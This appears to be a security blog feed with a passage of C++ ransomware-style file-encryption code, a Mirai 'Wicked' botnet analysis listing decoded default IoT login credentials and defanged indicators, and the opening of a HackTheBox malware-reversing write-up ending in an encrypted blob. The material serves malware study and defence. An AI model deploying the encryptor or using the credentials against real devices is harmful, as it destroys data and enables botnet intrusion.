bytesWritten; printf("Add encryption extension.\n"); // encryption settings LPCWSTR enc_extension = L".enc"; // length of original filename size_t filename_length = wcslen(filename); size_t new_extension_length = wcslen(enc_extension); wchar_t encrypted_filename[MAX_PATH]; // allocate space for new // copy original filename to buffer wcscpy(encrypted_filename, filename); // cat new extension wcscat(encrypted_filename, enc_extension); // open the original file, and create the new encrypted file printf("Get file handles.\n"); HANDLE originalFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE newFile = CreateFileW(encrypted_filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); // Get a handle to the CSP HCRYPTPROV hProv; CryptAcquireContext(&amp;hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); // Generate the session key HCRYPTKEY hKey; CryptGenKey(hProv, CALG_RC4, CRYPT_EXPORTABLE, &amp;hKey); // Read the plaintext file, encrypt the buffer, then write to the new file printf("Encrypt file contents.\n"); while(ReadFile(originalFile, buffer, sizeof(buffer), &amp;bytesRead, NULL) &amp;&amp; bytesRead &gt; 0) { CryptEncrypt(hKey, 0, bytesRead &lt; sizeof(buffer), 0, buffer, &amp;bytesRead, sizeof(buffer)); WriteFile(newFile, buffer, bytesRead, &amp;bytesWritten, NULL); } // Clean up printf("Clean up.\n"); CryptReleaseContext(hProv, 0); CryptDestroyKey(hKey); CloseHandle(originalFile); CloseHandle(newFile); } int main(int argc, char *argv[]) { // check to see if a filename is passed as an arg if (argc &lt; 2) { printf("Error: No filename provided.\n"); return 1; } // convert char arg into LPCWSTR char* filename = argv[1]; int size = MultiByteToWideChar(CP_ACP, 0, filename, -1, NULL, 0); wchar_t* wstr = new wchar_t[size]; MultiByteToWideChar(CP_ACP, 0, filename, -1, wstr, size); // if so, encrypt it encrypt_file(wstr); return 0; } </code></pre>2025-01-11T21:03:17-05:002026-05-17T14:03:45.455877-04:00Eric Turnertag:blog.ericturner.it,2025-01-11:/2025/01/11/malware-analysis-mirai-wicked-sample-9jan2025/

<p>Analysis of a sample from Malware bazaar: <a href="https://bazaar.abuse.ch/sample/a01d53662d83c31a5b4478bc57fc4fee1ba9d4f6178a94a107c472133adea368/">MalwareBazaar | SHA256 a01d53662d83c31a5b4478bc57fc4fee1ba9d4f6178a94a107c472133adea368 (Mirai)</a></p> <h1 id="stage-1">Stage 1</h1> <p>The initial download is a linux script in cleartext with comments in Chinese. I have added english translations in brackets for each comment. This script connects to a server in order to download 13 binaries, one for …</p>

<p>Analysis of a sample from Malware bazaar: <a href="https://bazaar.abuse.ch/sample/a01d53662d83c31a5b4478bc57fc4fee1ba9d4f6178a94a107c472133adea368/">MalwareBazaar | SHA256 a01d53662d83c31a5b4478bc57fc4fee1ba9d4f6178a94a107c472133adea368 (Mirai)</a></p> <h1 id="stage-1">Stage 1</h1> <p>The initial download is a linux script in cleartext with comments in Chinese. I have added english translations in brackets for each comment. This script connects to a server in order to download 13 binaries, one for each type of processor. Props to the author of the script for doing least privilege and only granting execution privs. It then attempts to run the binary with a command such as <code>./x86 x86.test?</code> </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-26.webp"/></p> <h1 id="static-analysis-of-arm7">Static Analysis of arm7</h1> <p>I initially tried the x86 binary, which essentially just had an infinite loop that appeared to do nothing:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-27.webp"/></p> <p>The arm7 binary is significantly bigger. Opening it inside of Ghidra provides a number of more functions and non-encrypted strings and encrypted strings that seem to be a part of a table. arm7 is a processor used in the late 90s, and Mirai is known to try and control devices to add them to their botnet.</p> <p>An interesting note is that comments remain from the compilation of the program from c, including the username of the user who built it, landley: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-30.webp"/></p> <p>strings view</p> <p>The <code>main</code> function of the application setups up a <code>srv_addr</code> matrix and calls a <code>table_init()</code> to store important information. Many of the strings here are obfuscated and or encrypted. It also calls <code>attack_init()</code>, <code>ioctl_keepalive()</code>, <code>scanner_init()</code> and <code>killer_init()</code>.These functions respectively setup the paths for DOS/flood attacks, used for preventing the system from hanging, scanning for available machines to compromise, and kill services via port.</p> <p>There are several methods for attack as listed in the functions pane, the attack_init goes down the list through multiple different types. </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-28.webp"/></p> <p>XOR Brute Force in Cyber Chef found the key for several encrypted strings seen in the binary, 37. we can take these strings into cyberchef to return them. For example. <code>SRQVB[C</code> resolves to <code>default</code>. The scanner class is used for attempting to find possible default credentials to further compromise more devices. Here is a view of all the options with passwords. default:default, admin:admin, root:vizxv, bin:0000, adm:0000, root:default, root:root, root:admin, root:1001chin, root:D13hh[, root:ZLXX, root:xc3511, root:5up.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-39.webp"/></p> <p>You can find an almost decade old source code dump of Mirai on GitHub, <a href="https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/main.c">here</a>. While there are some differences, such as generating the table, other aspects of the source code are virtually identical to this repo. It shows a check for debuggers, and if one is present, the table is not unlocked. </p> <p>One string when XORd back with 37 returns <code>/bin/busybox WICKED</code>. Wicked is variant of Mirai, typically targeting IoT devices.</p> <p>Many other notable strings after being XORd show the creation of things such as the POST request. It mentions a <code>server: dos arrest</code> and <code>server: cloudflare-nginx</code> as headers. There are some unusual strings, and one profane string before the remainder of them seem to be unintelligible, or under another level of encryption: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-38.webp"/></p> <p>Several of these strings can be seen under the <a href="https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/table.h">original Table.h source code</a>.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-40.webp"/></p> <p>There's also a 1337C0D3 key found here under the unlock function that uses that with a series of XOR operations to further decrypt certain addresses.</p> <h1 id="dynamic-analysis">Dynamic Analysis</h1> <p>Using <code>ps -e</code> we can see strange process names. Re-running the binary confirms the name randomly generates: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-33.webp"/></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-35.webp"/></p> <p>During the execution, it shows connecting back to the original IP over port 5555. This CNC appears like this if you connect via telnet and requests a username and password. </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-32.webp"/></p> <p>My VM hangs on this stage and is in a constant loop of reaching out to the CNC server on port 5555.</p> <p>VirusTotal's sandbox shows after connection to the CNC server, it proceeds to connect to over 300 connections for devices via port 23 or 2323.</p> <h1 id="indicators">Indicators</h1> <h2 id="ip">IP</h2> <p>45.221.96[.]37</p> <h2 id="urls">URLs</h2> <p>hxxp://45.221.96[.]37/bins</p> <p>telnet[:]//45.221.96[.]37:5555</p> <h2 id="sha256">SHA256</h2> <p>1eedc607dad9447de65c6cec87a5056061f93c4a9613bd1b2490e516850ebb40 - arm5<br/> 2819286d2a3bbd3eaf053b76d8fa793b6b083e644749dcaae8989a1c2c0c7074 - arm<br/> 32fbcfdd4e3a032cf3d10c8b32eb395ca3ad286f29d4f355ccfe43c7d1e88e8e - ppc<br/> 43f5ff4d7772f1971762b6bb9b07f9a312047137c25af58ec3c357f59a5211eb - arm6<br/> 4a36a56a5cb80c758d167025a7d24729ef46a05c7eb7b1b98517f9d330bcc934 - arm7<br/> 906b9479702bc85c78b47cfda8458df2de676d2ba44bfdecf9d2567b50ea731e - mpsl<br/> 98a4cade937c06972cc9fea3ae709671a184a521663b455916d522d4b5d0b0a0 - m68k<br/> b2e20a0872c5655d8cfdaf04af712dff9b9ce73c26caad5c039280fc738cfd33 - spc<br/> b9782775086aa0d972edb1c8977cbf85ee0787a772ba5600e5e478e98ce36ea7 - mips<br/> bd79770c08676da572634233061f4f821b89cc182853a2e5bc9a0abfd9cd9514 - x86<br/> c6cd8c56a159ac440c807f8576d39a60462d62db9c054bf11e306fb9ebf4ce42 - sh4<br/> f0c5e09caedea9ee5cebf2366a680ad0590cb2024e7afc062d6cdf955eec8105 - arc</p> <h2 id="md5">MD5</h2> <p>81bdfcae2e518a8e9201cf6bc30c98f3 - arm5<br/> 85a550d202cbe94c5bf8ed43e69ea2bb - arm<br/> e3abfa6136b6004687eecee5bed69cbe - ppc<br/> cc9580a4aa490b6609747aa8fc9d1360 - arm6<br/> 48e2be001db9a4da901886e00f564d43 - arm7<br/> bd4abf664c56da6754d883fac2d22019 - mpsl<br/> 6a761808fd9ef943bc91d8da695b2ea8 - m68k<br/> 44be1b5c620f650463152013a174350c - spc<br/> bdc77d8814dc759983a3d76c17614161 - mips<br/> 5e76a63da5729d3a5f83f4ccdbe79374 - x86<br/> 5abe6eb7b40a7e84a4878c6b04f68b88 - sh4<br/> b00d1adf1347139583c76f5df80dbe76 - arc</p>2025-01-08T03:19:22-05:002026-06-14T01:23:18.166147-04:00Eric Turnertag:blog.ericturner.it,2025-01-08:/2025/01/08/hackthebox-sherlock-lovely-malware/

Challenge: https://app.hackthebox.com/sherlocks/Lovely%20Malware An employee at NeirCyber Security discovered a suspicious file named employee_benefits.exe on their desktop. The employee found the file after returning from lunch and immediately reported it to the IT security team, suspecting that it could be malicious. The objective is to reverse engineer the file and dissect its inner workings. This is a warning that this Sherlock includes software that is going to interact with your computer and files. This software has been intentionally included for educational purposes and is NOT intended to be executed or used otherwise. Always handle such files in isolated, controlled, and secure environments. One the Sherlock zip has been unzipped, you will find a DANGER.txt file. Please read this to proceed. Introduction We are provided a ZIP file with four files, Attachement.txt.naso, cap.pcapng, DANGER.txt and the malware Update.exe nested inside malware.zip. To start, I launched my fresh snapshot of Win10 VM post FlareVM install, and disconnected network. The attachment is encrypted, I assume this must be the final challenge of reversing the program to pull decryption keys so we can decrypt the file and get the SHA256, so we will revisit it later.

<p>Challenge: <a href="https://app.hackthebox.com/sherlocks/Lovely%20Malware">https://app.hackthebox.com/sherlocks/Lovely%20Malware</a></p> <blockquote> <p>An employee at NeirCyber Security discovered a suspicious file named employee_benefits.exe on their desktop. The employee found the file after returning from lunch and immediately reported it to the IT security team, suspecting that it could be malicious. The objective is to reverse engineer the file and dissect its inner workings. This is a warning that this Sherlock includes software that is going to interact with your computer and files. This software has been intentionally included for educational purposes and is NOT intended to be executed or used otherwise. Always handle such files in isolated, controlled, and secure environments. One the Sherlock zip has been unzipped, you will find a DANGER.txt file. Please read this to proceed.</p> </blockquote> <h2 id="introduction">Introduction</h2> <p>We are provided a ZIP file with four files, Attachement.txt.naso, cap.pcapng, DANGER.txt and the malware Update.exe nested inside malware.zip. </p> <p>To start, I launched my fresh snapshot of Win10 VM post FlareVM install, and disconnected network. The attachment is encrypted, I assume this must be the final challenge of reversing the program to pull decryption keys so we can decrypt the file and get the SHA256, so we will revisit it later.</p> <p><div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">MDYsy5/DaxQgmmRuwjj6Mw==;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